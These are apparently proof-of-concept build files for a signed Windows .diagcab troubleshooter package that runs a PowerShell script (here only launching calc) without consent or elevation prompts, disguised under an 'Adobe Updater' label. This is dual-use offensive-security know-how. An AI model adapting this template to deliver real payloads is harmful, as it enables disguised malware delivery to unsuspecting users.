Create a signed .diagcab file

build.bat

@echo off

rem Build a .cat file from the .cdf
"c:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\makecat.exe" -v catalog.cdf

rem Sign the .cat file with your codesigning cert
"c:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\signtool.exe" sign -a -n "Richard Warren" DiagPackage.cat

rem Package it into a .diagcab file
makecab /d "Troubleshooting=Troubleshooting.diagcab" /f makecab.ddf

rem Optionally sign the .diagcab
"c:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\signtool.exe" sign -a -n "Richard Warren" cab\Troubleshooting.diagcab

rem cleanup
del setup.inf
del setup.rpt
del DiagPackage.cat

catalog.cdf

[CatalogHeader]
Name=DiagPackage.cat              
PublicVersion=0x0000001
EncodingType=0x00010001
CATATTR1=0x10010001:OSAttr:2:6.1 

[CatalogFiles]
<hash>AdobeUpdater.diagpkg=Troubleshooting.diagpkg
<hash>AdobeUpdater.diagpkgATTR1=0x10010001:Filename:Troubleshooting.diagpkg
<hash>RS_resolver.ps1=RS_resolver.ps1
<hash>RS_resolver.ps1ATTR1=0x10010001:Filename:RS_resolver.ps1
<hash>TS_troubleshooter.ps1=TS_troubleshooter.ps1
<hash>TS_troubleshooter.ps1ATTR1=0x10010001:Filename:TS_troubleshooter.ps1

makecab.ddf

.Set DiskDirectoryTemplate=cab
.Set CabinetNameTemplate=Troubleshooting.diagcab
Troubleshooting.diagpkg
DiagPackage.cat
RS_resolver.ps1
TS_troubleshooter.ps1

RS_resolver.ps1

Start-Process calc

Troubleshooting.diagpkg

<?xml version="1.0" encoding="utf-8"?><dcmPS:AdvDiagnosticPackage SchemaVersion="1.0" Localized="false" xmlns:dcmPS="http://www.microsoft.com/schemas/dcm/package/2007" xmlns:dcmRS="http://www.microsoft.com/schemas/dcm/resource/2007">
    <DiagnosticIdentification>
        <ID>66badb68-29b1-4b14-a36d-7513bf8e15ae</ID>
        <Version>1.0</Version>
    </DiagnosticIdentification>
    <DisplayInformation>
        <Parameters/>
        <Name>Troubleshooting</Name>
        <Description/>
    </DisplayInformation>
    <PrivacyLink></PrivacyLink>
    <PowerShellVersion>2.0</PowerShellVersion>
    <SupportedOSVersion clientSupported="true" serverSupported="true">6.1</SupportedOSVersion>
    <Rootcauses>
        <Rootcause>
            <ID>1</ID>
            <DisplayInformation>
                <Parameters/>
                <Name>Adobe Updater</Name>
                <Description/>
            </DisplayInformation>
            <Troubleshooter>
                <Script>
                    <Parameters/>
                    <ProcessArchitecture>Any</ProcessArchitecture>
                    <RequiresElevation>false</RequiresElevation>
                    <RequiresInteractivity>false</RequiresInteractivity>
                    <FileName>TS_troubleshooter.ps1</FileName>
                    <ExtensionPoint/>
                </Script>
                <ExtensionPoint/>
            </Troubleshooter>
            <Resolvers>
                <Resolver>
                    <ID>Resolver1</ID>
                    <DisplayInformation>
                        <Parameters/>
                        <Name>Adobe Updater</Name>
                        <Description></Description>
                    </DisplayInformation>
                    <RequiresConsent>false</RequiresConsent>
                    <Script>
                        <Parameters/>
                        <ProcessArchitecture>Any</ProcessArchitecture>
                        <RequiresElevation>false</RequiresElevation>
                        <RequiresInteractivity>false</RequiresInteractivity>
                        <FileName>RS_resolver.ps1</FileName>
                        <ExtensionPoint/>
                    </Script>
                    <ExtensionPoint/>
                </Resolver>
            </Resolvers>
            <Verifier></Verifier>
            <ContextParameters/>
            <ExtensionPoint/>
        </Rootcause>
    </Rootcauses>
    <Interactions>
        <SingleResponseInteractions/>
        <MultipleResponseInteractions/>
        <TextInteractions/>
        <PauseInteractions/>
        <LaunchUIInteractions/>
    </Interactions>
    <ExtensionPoint></ExtensionPoint>
</dcmPS:AdvDiagnosticPackage>

TS_troubleshooter.ps1

Start-Process calc